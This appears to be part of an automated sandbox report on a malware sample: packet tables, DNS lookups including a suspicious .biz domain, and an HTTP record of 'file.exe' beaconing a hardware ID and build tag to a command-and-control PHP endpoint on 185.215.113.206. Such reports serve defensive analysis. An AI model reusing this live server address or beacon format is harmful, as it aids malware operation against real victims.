Dec 2, 2024 07:38:11.458815098 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.458825111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.458836079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.458854914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.458864927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.458868980 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.458899021 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.458905935 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.467720032 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.468444109 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.468533993 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.468641996 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.468647003 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.468669891 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.468674898 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.472050905 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.472065926 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.472162962 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.472409964 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.472424984 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.473608017 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.474477053 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.474513054 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.474579096 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.474669933 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.474669933 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.474679947 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.474688053 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.475246906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.475258112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:11.475311041 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.475330114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:11.477782965 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.477801085 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.477895975 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.478080034 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.478091002 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.496115923 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:11.496140003 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:11.496203899 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:11.496784925 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:11.496798038 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:11.674221039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:11.674531937 CET	49875	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:11.794115067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:11.794413090 CET	80	49875	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:11.794522047 CET	49875	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:11.794759035 CET	49875	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:11.914710045 CET	80	49875	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:12.559415102 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:12.593729973 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:12.613261938 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.643459082 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.692878962 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.692898989 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:12.693737984 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.693752050 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:12.694431067 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.694458961 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:12.695089102 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:12.695107937 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.028373957 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.031549931 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.031605005 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.031689882 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.031708002 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.031718016 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.031724930 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.036791086 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.036839962 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.036899090 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.037280083 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.037292957 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.038136005 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.041273117 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.041325092 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.041363955 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.041374922 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.041388035 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.041392088 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.044003963 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.044034958 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.044091940 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.044248104 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.044259071 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.052582026 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.053060055 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.053080082 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.053607941 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.053612947 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.194478035 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.194561005 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.199243069 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.199250937 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.199558973 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.209240913 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.255327940 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.256715059 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.257304907 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.257328033 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.257999897 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.258004904 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.322532892 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.323142052 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.323174000 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.323661089 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.323681116 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.487849951 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.496165037 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.496234894 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.496249914 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.496272087 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.496326923 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.496396065 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.496408939 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.496459007 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.496464968 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.499819994 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.499864101 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.499969959 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.500174046 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.500189066 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.691184998 CET	80	49875	185.215.113.206	192.168.2.6
Dec 2, 2024 07:38:13.692574024 CET	49875	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:38:13.700864077 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.704150915 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.704577923 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.704636097 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.704658031 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.704669952 CET	49872	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.704675913 CET	443	49872	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.708548069 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.708590031 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.708656073 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.708878040 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.708893061 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.771008968 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:13.771109104 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:13.773385048 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:13.773391008 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:13.773653984 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:13.775511026 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.775547028 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.775603056 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.775624037 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.775656939 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.775978088 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.775978088 CET	49873	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.776006937 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.776020050 CET	443	49873	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.777204990 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:13.777266026 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:13.777271032 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:13.777419090 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:13.779443979 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.779478073 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.779545069 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.779733896 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:13.779746056 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:13.823333025 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:13.926709890 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.926738024 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.926758051 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.926847935 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.926868916 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.926923990 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972280025 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.972325087 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.972357035 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972366095 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.972384930 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.972402096 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972424984 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972520113 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972533941 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:13.972544909 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:13.972551107 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:14.331394911 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:14.331659079 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:14.333379984 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:14.348160028 CET	49874	443	192.168.2.6	20.198.119.143
Dec 2, 2024 07:38:14.348186970 CET	443	49874	20.198.119.143	192.168.2.6
Dec 2, 2024 07:38:14.823827028 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:14.829036951 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:14.829058886 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:14.829665899 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:14.829672098 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:14.881176949 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:14.924680948 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.037488937 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.037509918 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.038021088 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.038026094 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.268178940 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.271019936 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.271070004 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.271073103 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.271126032 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.281128883 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.330888987 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.373316050 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.376429081 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.378556013 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.490431070 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.497749090 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.516063929 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.516081095 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.516629934 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.516634941 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.517147064 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.517163992 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.517544985 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.517549992 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.517878056 CET	49877	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.517895937 CET	443	49877	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.519989967 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.520018101 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.520656109 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.520659924 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.610218048 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.610229969 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.610244036 CET	49876	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.610251904 CET	443	49876	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.829341888 CET	49881	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.829391956 CET	443	49881	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.829463005 CET	49881	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.846004009 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.846179008 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.846235037 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.847966909 CET	49882	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.848006964 CET	443	49882	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.848164082 CET	49882	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.849389076 CET	49881	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.849410057 CET	443	49881	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.850568056 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.850588083 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.850599051 CET	49878	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.850605011 CET	443	49878	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.852382898 CET	49882	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.852400064 CET	443	49882	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.855307102 CET	49883	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.855331898 CET	443	49883	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.855458021 CET	49883	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.855597973 CET	49883	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.855608940 CET	443	49883	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.932023048 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.932177067 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.932235003 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.934166908 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.937462091 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.937525034 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.937551022 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.937613010 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.952841043 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.952862024 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.952867985 CET	49879	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.952872992 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.952873945 CET	49880	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.952874899 CET	443	49879	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.952888012 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.952897072 CET	443	49880	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.973087072 CET	49884	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.973119974 CET	443	49884	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.973187923 CET	49884	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.974426985 CET	49885	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.974457026 CET	443	49885	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.974512100 CET	49885	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.975389004 CET	49884	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.975403070 CET	443	49884	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:15.975586891 CET	49885	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:15.975595951 CET	443	49885	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:17.572041035 CET	443	49881	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:17.573255062 CET	49881	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:17.573277950 CET	443	49881	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:17.573872089 CET	49881	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:17.573878050 CET	443	49881	13.107.246.63	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 07:37:29.587517023 CET	192.168.2.6	1.1.1.1	0xd576	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:37:29.587687016 CET	192.168.2.6	1.1.1.1	0xc443	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 07:37:36.458175898 CET	192.168.2.6	1.1.1.1	0x676a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:37:36.458807945 CET	192.168.2.6	1.1.1.1	0x7284	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 2, 2024 07:39:31.097115993 CET	192.168.2.6	1.1.1.1	0xa1a5	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 07:37:13.869328976 CET	1.1.1.1	192.168.2.6	0xa176	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 07:37:13.869328976 CET	1.1.1.1	192.168.2.6	0xa176	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:37:29.724970102 CET	1.1.1.1	192.168.2.6	0xd576	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:37:29.725703001 CET	1.1.1.1	192.168.2.6	0xc443	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 07:37:36.596852064 CET	1.1.1.1	192.168.2.6	0x7284	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 07:37:36.597126007 CET	1.1.1.1	192.168.2.6	0x676a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 07:37:36.597126007 CET	1.1.1.1	192.168.2.6	0x676a	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:39:31.237588882 CET	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 2, 2024 07:39:31.237588882 CET	1.1.1.1	192.168.2.6	0xa1a5	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	185.215.113.206	80	3604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:37:20.010643959 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 07:37:21.433780909 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 07:37:21.442934036 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 36 44 35 39 38 34 36 46 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"406D59846F5B340779059------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"drum------CBGCAFIIECBFIDHIJKFB--
